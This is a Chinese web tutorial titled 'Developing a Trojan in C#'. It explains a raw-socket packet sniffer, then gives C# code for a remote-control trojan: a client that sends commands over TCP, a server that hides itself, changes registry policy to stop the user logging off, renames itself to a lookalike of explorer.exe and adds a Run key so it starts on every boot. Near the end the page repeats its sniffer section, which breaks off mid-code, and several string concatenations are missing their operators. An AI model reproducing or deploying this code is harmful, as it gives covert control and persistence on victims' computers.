用C#开发木马

    文章来源:中国互联 更新时间:2013-8-10 17:24:20
分享:

本文向大家介绍Windows Sockets的一些关于用C#实现的原始套接字(Raw Socket)的编程,以及在此基础上实现的网络封包监视技术。同Winsock1相比,Winsock2最明显的就是支持了Raw Socket套接字类型,使用Raw Socket,可把网卡设置成混杂模式,在这种模式下,我们可以收到网络上的IP包,当然包括目的不是本机的IP包,通过原始套接字,我们也可以更加自如地控制Windows下的多种协议,而且能够对网络底层的传输机制进行控制。

 

  在本文例子中,我在nbyte.BasicClass命名空间实现了RawSocket类,它包含了我们实现数据包监视的核心技术。在实现这个类之前,需要先写一个IP头结构,来暂时存放一些有关网络封包的信息:

[StructLayout(LayoutKind.Explicit)]
public struct IPHeader
{
 [FieldOffset(0)] public byte ip_verlen; //I4位首部长度 4位IP版本号
 [FieldOffset(1)] public byte ip_tos; //8位服务类型TOS
 [FieldOffset(2)] public ushort ip_totallength; //16位数据包总长度(字节)
 [FieldOffset(4)] public ushort ip_id; //16位标识
 [FieldOffset(6)] public ushort ip_offset; //3位标志位
 [FieldOffset(8)] public byte ip_ttl; //8位生存时间 TTL
 [FieldOffset(9)] public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
 [FieldOffset(10)] public ushort ip_checksum; //16位IP首部校验和
 [FieldOffset(12)] public uint ip_srcaddr; //32位源IP地址
 [FieldOffset(16)] public uint ip_destaddr; //32位目的IP地址
}

  这样,当每一个封包到达时候,可以用强制类型转化把包中的数据流转化为一个个IPHeader对象。

  下面就开始写RawSocket类了,一开始,先定义几个参数,包括:

private bool error_occurred; //套接字在接收包时是否产生错误
public bool KeepRunning; //是否继续进行
private static int len_receive_buf; //得到的数据流的长度
byte [] receive_buf_bytes; //收到的字节
private Socket socket = null; //声明套接字

  还有一个常量:

const int SIO_RCVALL = unchecked((int)0x98000001);//监听所有的数据包

  这里的SIO_RCVALL是指示RawSocket接收所有的数据包,在以后的IOContrl函数中要用,在下面的构造函数中,实现了对一些变量参数的初始化:

public RawSocket() //构造函数
{
 error_occurred=false;
 len_receive_buf = 4096;
 receive_buf_bytes = new byte[len_receive_buf];
}

  下面的函数实现了创建RawSocket,并把它与终结点(IPEndPoint:本机IP和端口)绑定:

public void CreateAndBindSocket(string IP) //建立并绑定套接字
{
 socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
 socket.Blocking = false; //置socket非阻塞状态
 socket.Bind(new IPEndPoint(IPAddress.Parse(IP), 0)); //绑定套接字

 if (SetSocketOption()==false) error_occurred=true;
}

  其中,在创建套接字的一句

socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

  中有3个参数:

  第一个参数是设定地址族,MSDN上的描述是“指定 Socket 实例用来解析地址的寻址方案”,当要把套接字绑定到终结点(IPEndPoint)时,需要使用InterNetwork成员,即采用IP版本4的地址格式,这也是当今大多数套接字编程所采用一个寻址方案(AddressFamily)。

  第二个参数设置的套接字类型就是我们使用的Raw类型了,SocketType是一个枚举数据类型,Raw套接字类型支持对基础传输协议的访问。通过使用 SocketType.Raw,你不光可以使用传输控制协议(Tcp)和用户数据报协议(Udp)进行通信,也可以使用网际消息控制协议 (Icmp) 和 Internet 组管理协议 (Igmp) 来进行通信。在发送时,您的应用程序必须提供完整的 IP 标头。所接收的数据报在返回时会保持其 IP 标头和选项不变。

  第三个参数设置协议类型,Socket 类使用 ProtocolType 枚举数据类型向 Windows Socket API 通知所请求的协议。这里使用的是IP协议,所以要采用ProtocolType.IP参数。

  在CreateAndBindSocket函数中有一个自定义的SetSocketOption函数,它和Socket类中的SetSocketOption不同,我们在这里定义的是具有IO控制功能的SetSocketOption,它的定义如下:

private bool SetSocketOption() //设置raw socket
{
 bool ret_value = true;
 try
 {
  socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
  byte []IN = new byte[4]{1, 0, 0, 0};
  byte []OUT = new byte[4];

  //低级别操作模式,接受所有的数据包,这一步是关键,必须把socket设成raw和IP Level才可用  SIO_RCVALL
  int ret_code = socket.IOControl(SIO_RCVALL, IN, OUT);
  ret_code = OUT[0] OUT[1] OUT[2] OUT[3];//把4个8位字节合成一个32位整数
  if(ret_code != 0) ret_value = false;
 }
 catch(SocketException)
 {
  ret_value = false;
 }
 return ret_value;
}

  其中,设置套接字选项时必须使套接字包含IP包头,否则无法填充IPHeader结构,也无法获得数据包信息。

int ret_code = socket.IOControl(SIO_RCVALL, IN, OUT);

  是函数中最关键的一步了,因为,在windows中我们不能用Receive函数来接收raw socket上的数据,这是因为,所有的IP包都是先递交给系统核心,然后再传输到用户程序,当发送一个raws socket包的时候(比如syn),核心并不知道,也没有这个数据被发送或者连接建立的记录,因此,当远端主机回应的时候,系统核心就把这些包都全部丢掉,从而到不了应用程序上。所以,就不能简单地使用接收函数来接收这些数据报。要达到接收数据的目的,就必须采用嗅探,接收所有通过的数据包,然后进行筛选,留下符合我们需要的。可以通过设置SIO_RCVALL,表示接收所有网络上的数据包。接下来介绍一下IOControl函数。MSDN解释它说是设置套接字为低级别操作模式,怎么低级别操作法?其实这个函数与API中的WSAIoctl函数很相似。WSAIoctl函数定义如下:

int WSAIoctl(
 SOCKET s, //一个指定的套接字
 DWORD dwIoControlCode, //控制操作码
 LPVOID lpvInBuffer, //指向输入数据流的指针
 DWORD cbInBuffer, //输入数据流的大小(字节数)
 LPVOID lpvOutBuffer, // 指向输出数据流的指针
 DWORD cbOutBuffer, //输出数据流的大小(字节数)
 LPDWORD lpcbBytesReturned, //指向输出字节流数目的实数值
 LPWSAOVERLAPPED lpOverlapped, //指向一个WSAOVERLAPPED结构
 LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine//指向操作完成时执行的例程
);

  C#的IOControl函数不像WSAIoctl函数那么复杂,其中只包括其中的控制操作码、输入字节流、输出字节流三个参数,不过这三个参数已经足够了。我们看到函数中定义了一个字节数组:byte []IN = new byte[4]{1, 0, 0, 0}实际上它是一个值为1的DWORD或是Int32,同样byte []OUT = new byte[4];也是,它整和了一个int,作为WSAIoctl函数中参数lpcbBytesReturned指向的值。

  因为设置套接字选项时可能会发生错误,需要用一个值传递错误标志:

public bool ErrorOccurred
{
 get
 {
  return error_occurred;
 }
}

  下面的函数实现的数据包的接收:

//解析接收的数据包,形成PacketArrivedEventArgs事件数据类对象,并引发PacketArrival事件
unsafe private void Receive(byte [] buf, int len)
{
 byte temp_protocol=0;
 uint temp_version=0;
 uint temp_ip_srcaddr=0;
 uint temp_ip_destaddr=0;
 short temp_srcport=0;
 short temp_dstport=0;
 IPAddress temp_ip;

 PacketArrivedEventArgs e=new PacketArrivedEventArgs();//新网络数据包信息事件

 fixed(byte *fixed_buf = buf)
 {
  IPHeader * head = (IPHeader *) fixed_buf;//把数据流整和为IPHeader结构
  e.HeaderLength=(uint)(head->ip_verlen & 0x0F) << 2;

  temp_protocol = head->ip_protocol;
  switch(temp_protocol)//提取协议类型
  {
   case 1: e.Protocol="ICMP"; break;
   case 2: e.Protocol="IGMP"; break;
   case 6: e.Protocol="TCP"; break;
   case 17: e.Protocol="UDP"; break;
   default: e.Protocol= "UNKNOWN"; break;
  }

  temp_version =(uint)(head->ip_verlen & 0xF0) >> 4;//提取IP协议版本
  e.IPVersion = temp_version.ToString();

  //以下语句提取出了PacketArrivedEventArgs对象中的其他参数
  temp_ip_srcaddr = head->ip_srcaddr;
  temp_ip_destaddr = head->ip_destaddr;
  temp_ip = new IPAddress(temp_ip_srcaddr);
  e.OriginationAddress =temp_ip.ToString();
  temp_ip = new IPAddress(temp_ip_destaddr);
  e.DestinationAddress = temp_ip.ToString();

  temp_srcport = *(short *)&fixed_buf[e.HeaderLength];
  temp_dstport = *(short *)&fixed_buf[e.HeaderLength 2];
  e.OriginationPort=IPAddress.NetworkToHostOrder(temp_srcport).ToString();
  e.DestinationPort=IPAddress.NetworkToHostOrder(temp_dstport).ToString();

  e.PacketLength =(uint)len;
  e.MessageLength =(uint)len - e.HeaderLength;

  e.ReceiveBuffer=buf;
  //把buf中的IP头赋给PacketArrivedEventArgs中的IPHeaderBuffer
  Array.Copy(buf,0,e.IPHeaderBuffer,0,(int)e.HeaderLength);
  //把buf中的包中内容赋给PacketArrivedEventArgs中的MessageBuffer
  Array.Copy(buf,(int)e.HeaderLength,e.MessageBuffer,0,(int)e.MessageLength);
 }
 //引发PacketArrival事件
 OnPacketArrival(e);
}

  大家注意到了,在上面的函数中,我们使用了指针这种所谓的不安全代码,可见在C#中指针和移位运算这些原始操作也可以给程序员带来编程上的便利。在函数中声明PacketArrivedEventArgs类对象,以便通过OnPacketArrival(e)函数通过事件把数据包信息传递出去。其中PacketArrivedEventArgs类是RawSocket类中的嵌套类,它继承了系统事件(Event)类,封装了数据包的IP、端口、协议等其他数据包头中包含的信息。在启动接收数据包的函数中,我们使用了异步操作的方法,以下函数开启了异步监听的接口:

public void Run() //开始监听
{
 IAsyncResult ar = socket.BeginReceive(receive_buf_bytes, 0, len_receive_buf, SocketFlags.None, new AsyncCallback(CallReceive), this);
}

  Socket.BeginReceive函数返回了一个异步操作的接口,并在此接口的生成函数BeginReceive中声明了异步回调函数CallReceive,并把接收到的网络数据流传给receive_buf_bytes,这样就可用一个带有异步操作的接口参数的异步回调函数不断地接收数据包:

private void CallReceive(IAsyncResult ar)//异步回调
{
 int received_bytes;
 received_bytes = socket.EndReceive(ar);
 Receive(receive_buf_bytes, received_bytes);
 if (KeepRunning) Run();
}

  此函数当挂起或结束异步读取后去接收一个新的数据包,这样能保证让每一个数据包都能够被程序探测到。

  下面通过声明代理事件句柄来实现和外界的通信:

public delegate void PacketArrivedEventHandler(Object sender, PacketArrivedEventArgs args);
//事件句柄:包到达时引发事件
public event PacketArrivedEventHandler PacketArrival;//声明时间句柄函数

  这样就可以实现对数据包信息的获取,采用异步回调函数,可以提高接收数据包的效率,并通过代理事件把封包信息传递到外界。既然能把所有的封包信息传递出去,就可以实现对数据包的分析了:)不过RawSocket的任务还没有完,最后不要望了关闭套接字啊:

public void Shutdown() //关闭raw socket
{
 if(socket != null)
 {
  socket.Shutdown(SocketShutdown.Both);
  socket.Close();
 }
}

   以上介绍了RawSocket类通过构造IP头获取了包中的信息,并通过异步回调函数实现了数据包的接收,并使用时间代理句柄和自定义的数据包信息事件类把数据包信息发送出去,从而实现了网络数据包的监视,这样我们就可以在外部添加一些函数对数据包进行分析了。
前言:

    因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

使用的技术:

    控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

控制端开发:

    控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

控制端的开发:

控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" textBox1.Text "\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。

//提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" "\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message "\r");
MessageBox.Show(ee.Message);
}
}
 3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control "正在试图控制,等待回应......" "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" "\r");
MessageBox.Show("服务器未连接1控制无效!" "\r");
}
}//else if
}

4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control "控制成功" "\r");
MessageBox.Show(control "控制成功" "\r");
}
}

服务端的开发:

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode

3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}

4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()

到这里一个简单的C#的木马就完成了。 

在线咨询
  • 在线时间
  • 8:00-21:00
用C#开发木马-中国互联

用C#开发木马

    文章来源:中国互联 更新时间:2013-8-10 17:24:20
分享:

本文向大家介绍Windows Sockets的一些关于用C#实现的原始套接字(Raw Socket)的编程,以及在此基础上实现的网络封包监视技术。同Winsock1相比,Winsock2最明显的就是支持了Raw Socket套接字类型,使用Raw Socket,可把网卡设置成混杂模式,在这种模式下,我们可以收到网络上的IP包,当然包括目的不是本机的IP包,通过原始套接字,我们也可以更加自如地控制Windows下的多种协议,而且能够对网络底层的传输机制进行控制。

 

  在本文例子中,我在nbyte.BasicClass命名空间实现了RawSocket类,它包含了我们实现数据包监视的核心技术。在实现这个类之前,需要先写一个IP头结构,来暂时存放一些有关网络封包的信息:

[StructLayout(LayoutKind.Explicit)]
public struct IPHeader
{
 [FieldOffset(0)] public byte ip_verlen; //I4位首部长度 4位IP版本号
 [FieldOffset(1)] public byte ip_tos; //8位服务类型TOS
 [FieldOffset(2)] public ushort ip_totallength; //16位数据包总长度(字节)
 [FieldOffset(4)] public ushort ip_id; //16位标识
 [FieldOffset(6)] public ushort ip_offset; //3位标志位
 [FieldOffset(8)] public byte ip_ttl; //8位生存时间 TTL
 [FieldOffset(9)] public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
 [FieldOffset(10)] public ushort ip_checksum; //16位IP首部校验和
 [FieldOffset(12)] public uint ip_srcaddr; //32位源IP地址
 [FieldOffset(16)] public uint ip_destaddr; //32位目的IP地址
}

  这样,当每一个封包到达时候,可以用强制类型转化把包中的数据流转化为一个个IPHeader对象。

  下面就开始写RawSocket类了,一开始,先定义几个参数,包括:

private bool error_occurred; //套接字在接收包时是否产生错误
public bool KeepRunning; //是否继续进行
private static int len_receive_buf; //得到的数据流的长度
byte [] receive_buf_bytes; //收到的字节
private Socket socket = null; //声明套接字

  还有一个常量:

const int SIO_RCVALL = unchecked((int)0x98000001);//监听所有的数据包

  这里的SIO_RCVALL是指示RawSocket接收所有的数据包,在以后的IOContrl函数中要用,在下面的构造函数中,实现了对一些变量参数的初始化:

public RawSocket() //构造函数
{
 error_occurred=false;
 len_receive_buf = 4096;
 receive_buf_bytes = new byte[len_receive_buf];
}

  下面的函数实现了创建RawSocket,并把它与终结点(IPEndPoint:本机IP和端口)绑定:

public void CreateAndBindSocket(string IP) //建立并绑定套接字
{
 socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
 socket.Blocking = false; //置socket非阻塞状态
 socket.Bind(new IPEndPoint(IPAddress.Parse(IP), 0)); //绑定套接字

 if (SetSocketOption()==false) error_occurred=true;
}

  其中,在创建套接字的一句

socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

  中有3个参数:

  第一个参数是设定地址族,MSDN上的描述是“指定 Socket 实例用来解析地址的寻址方案”,当要把套接字绑定到终结点(IPEndPoint)时,需要使用InterNetwork成员,即采用IP版本4的地址格式,这也是当今大多数套接字编程所采用一个寻址方案(AddressFamily)。

  第二个参数设置的套接字类型就是我们使用的Raw类型了,SocketType是一个枚举数据类型,Raw套接字类型支持对基础传输协议的访问。通过使用 SocketType.Raw,你不光可以使用传输控制协议(Tcp)和用户数据报协议(Udp)进行通信,也可以使用网际消息控制协议 (Icmp) 和 Internet 组管理协议 (Igmp) 来进行通信。在发送时,您的应用程序必须提供完整的 IP 标头。所接收的数据报在返回时会保持其 IP 标头和选项不变。

  第三个参数设置协议类型,Socket 类使用 ProtocolType 枚举数据类型向 Windows Socket API 通知所请求的协议。这里使用的是IP协议,所以要采用ProtocolType.IP参数。

  在CreateAndBindSocket函数中有一个自定义的SetSocketOption函数,它和Socket类中的SetSocketOption不同,我们在这里定义的是具有IO控制功能的SetSocketOption,它的定义如下:

private bool SetSocketOption() //设置raw socket
{
 bool ret_value = true;
 try
 {
  socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
  byte []IN = new byte[4]{1, 0, 0, 0};
  byte []OUT = new byte[4];

  //低级别操作模式,接受所有的数据包,这一步是关键,必须把socket设成raw和IP Level才可用  SIO_RCVALL
  int ret_code = socket.IOControl(SIO_RCVALL, IN, OUT);
  ret_code = OUT[0] OUT[1] OUT[2] OUT[3];//把4个8位字节合成一个32位整数
  if(ret_code != 0) ret_value = false;
 }
 catch(SocketException)
 {
  ret_value = false;
 }
 return ret_value;
}

  其中,设置套接字选项时必须使套接字包含IP包头,否则无法填充IPHeader结构,也无法获得数据包信息。

int ret_code = socket.IOControl(SIO_RCVALL, IN, OUT);

  是函数中最关键的一步了,因为,在windows中我们不能用Receive函数来接收raw socket上的数据,这是因为,所有的IP包都是先递交给系统核心,然后再传输到用户程序,当发送一个raws socket包的时候(比如syn),核心并不知道,也没有这个数据被发送或者连接建立的记录,因此,当远端主机回应的时候,系统核心就把这些包都全部丢掉,从而到不了应用程序上。所以,就不能简单地使用接收函数来接收这些数据报。要达到接收数据的目的,就必须采用嗅探,接收所有通过的数据包,然后进行筛选,留下符合我们需要的。可以通过设置SIO_RCVALL,表示接收所有网络上的数据包。接下来介绍一下IOControl函数。MSDN解释它说是设置套接字为低级别操作模式,怎么低级别操作法?其实这个函数与API中的WSAIoctl函数很相似。WSAIoctl函数定义如下:

int WSAIoctl(
 SOCKET s, //一个指定的套接字
 DWORD dwIoControlCode, //控制操作码
 LPVOID lpvInBuffer, //指向输入数据流的指针
 DWORD cbInBuffer, //输入数据流的大小(字节数)
 LPVOID lpvOutBuffer, // 指向输出数据流的指针
 DWORD cbOutBuffer, //输出数据流的大小(字节数)
 LPDWORD lpcbBytesReturned, //指向输出字节流数目的实数值
 LPWSAOVERLAPPED lpOverlapped, //指向一个WSAOVERLAPPED结构
 LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine//指向操作完成时执行的例程
);

  C#的IOControl函数不像WSAIoctl函数那么复杂,其中只包括其中的控制操作码、输入字节流、输出字节流三个参数,不过这三个参数已经足够了。我们看到函数中定义了一个字节数组:byte []IN = new byte[4]{1, 0, 0, 0}实际上它是一个值为1的DWORD或是Int32,同样byte []OUT = new byte[4];也是,它整和了一个int,作为WSAIoctl函数中参数lpcbBytesReturned指向的值。

  因为设置套接字选项时可能会发生错误,需要用一个值传递错误标志:

public bool ErrorOccurred
{
 get
 {
  return error_occurred;
 }
}

  下面的函数实现的数据包的接收:

//解析接收的数据包,形成PacketArrivedEventArgs事件数据类对象,并引发PacketArrival事件
unsafe private void Receive(byte [] buf, int len)
{
 byte temp_protocol=0;
 uint temp_version=0;
 uint temp_ip_srcaddr=0;
 uint temp_ip_destaddr=0;
 short temp_srcport=0;
 short temp_dstport=0;
 IPAddress temp_ip;

 PacketArrivedEventArgs e=new PacketArrivedEventArgs();//新网络数据包信息事件

 fixed(byte *fixed_buf = buf)
 {
  IPHeader * head = (IPHeader *) fixed_buf;//把数据流整和为IPHeader结构
  e.HeaderLength=(uint)(head->ip_verlen & 0x0F) << 2;

  temp_protocol = head->ip_protocol;
  switch(temp_protocol)//提取协议类型
  {
   case 1: e.Protocol="ICMP"; break;
   case 2: e.Protocol="IGMP"; break;
   case 6: e.Protocol="TCP"; break;
   case 17: e.Protocol="UDP"; break;
   default: e.Protocol= "UNKNOWN"; break;
  }

  temp_version =(uint)(head->ip_verlen & 0xF0) >> 4;//提取IP协议版本
  e.IPVersion = temp_version.ToString();

  //以下语句提取出了PacketArrivedEventArgs对象中的其他参数
  temp_ip_srcaddr = head->ip_srcaddr;
  temp_ip_destaddr = head->ip_destaddr;
  temp_ip = new IPAddress(temp_ip_srcaddr);
  e.OriginationAddress =temp_ip.ToString();
  temp_ip = new IPAddress(temp_ip_destaddr);
  e.DestinationAddress = temp_ip.ToString();

  temp_srcport = *(short *)&fixed_buf[e.HeaderLength];
  temp_dstport = *(short *)&fixed_buf[e.HeaderLength 2];
  e.OriginationPort=IPAddress.NetworkToHostOrder(temp_srcport).ToString();
  e.DestinationPort=IPAddress.NetworkToHostOrder(temp_dstport).ToString();

  e.PacketLength =(uint)len;
  e.MessageLength =(uint)len - e.HeaderLength;

  e.ReceiveBuffer=buf;
  //把buf中的IP头赋给PacketArrivedEventArgs中的IPHeaderBuffer
  Array.Copy(buf,0,e.IPHeaderBuffer,0,(int)e.HeaderLength);
  //把buf中的包中内容赋给PacketArrivedEventArgs中的MessageBuffer
  Array.Copy(buf,(int)e.HeaderLength,e.MessageBuffer,0,(int)e.MessageLength);
 }
 //引发PacketArrival事件
 OnPacketArrival(e);
}

  大家注意到了,在上面的函数中,我们使用了指针这种所谓的不安全代码,可见在C#中指针和移位运算这些原始操作也可以给程序员带来编程上的便利。在函数中声明PacketArrivedEventArgs类对象,以便通过OnPacketArrival(e)函数通过事件把数据包信息传递出去。其中PacketArrivedEventArgs类是RawSocket类中的嵌套类,它继承了系统事件(Event)类,封装了数据包的IP、端口、协议等其他数据包头中包含的信息。在启动接收数据包的函数中,我们使用了异步操作的方法,以下函数开启了异步监听的接口:

public void Run() //开始监听
{
 IAsyncResult ar = socket.BeginReceive(receive_buf_bytes, 0, len_receive_buf, SocketFlags.None, new AsyncCallback(CallReceive), this);
}

  Socket.BeginReceive函数返回了一个异步操作的接口,并在此接口的生成函数BeginReceive中声明了异步回调函数CallReceive,并把接收到的网络数据流传给receive_buf_bytes,这样就可用一个带有异步操作的接口参数的异步回调函数不断地接收数据包:

private void CallReceive(IAsyncResult ar)//异步回调
{
 int received_bytes;
 received_bytes = socket.EndReceive(ar);
 Receive(receive_buf_bytes, received_bytes);
 if (KeepRunning) Run();
}

  此函数当挂起或结束异步读取后去接收一个新的数据包,这样能保证让每一个数据包都能够被程序探测到。

  下面通过声明代理事件句柄来实现和外界的通信:

public delegate void PacketArrivedEventHandler(Object sender, PacketArrivedEventArgs args);
//事件句柄:包到达时引发事件
public event PacketArrivedEventHandler PacketArrival;//声明时间句柄函数

  这样就可以实现对数据包信息的获取,采用异步回调函数,可以提高接收数据包的效率,并通过代理事件把封包信息传递到外界。既然能把所有的封包信息传递出去,就可以实现对数据包的分析了:)不过RawSocket的任务还没有完,最后不要望了关闭套接字啊:

public void Shutdown() //关闭raw socket
{
 if(socket != null)
 {
  socket.Shutdown(SocketShutdown.Both);
  socket.Close();
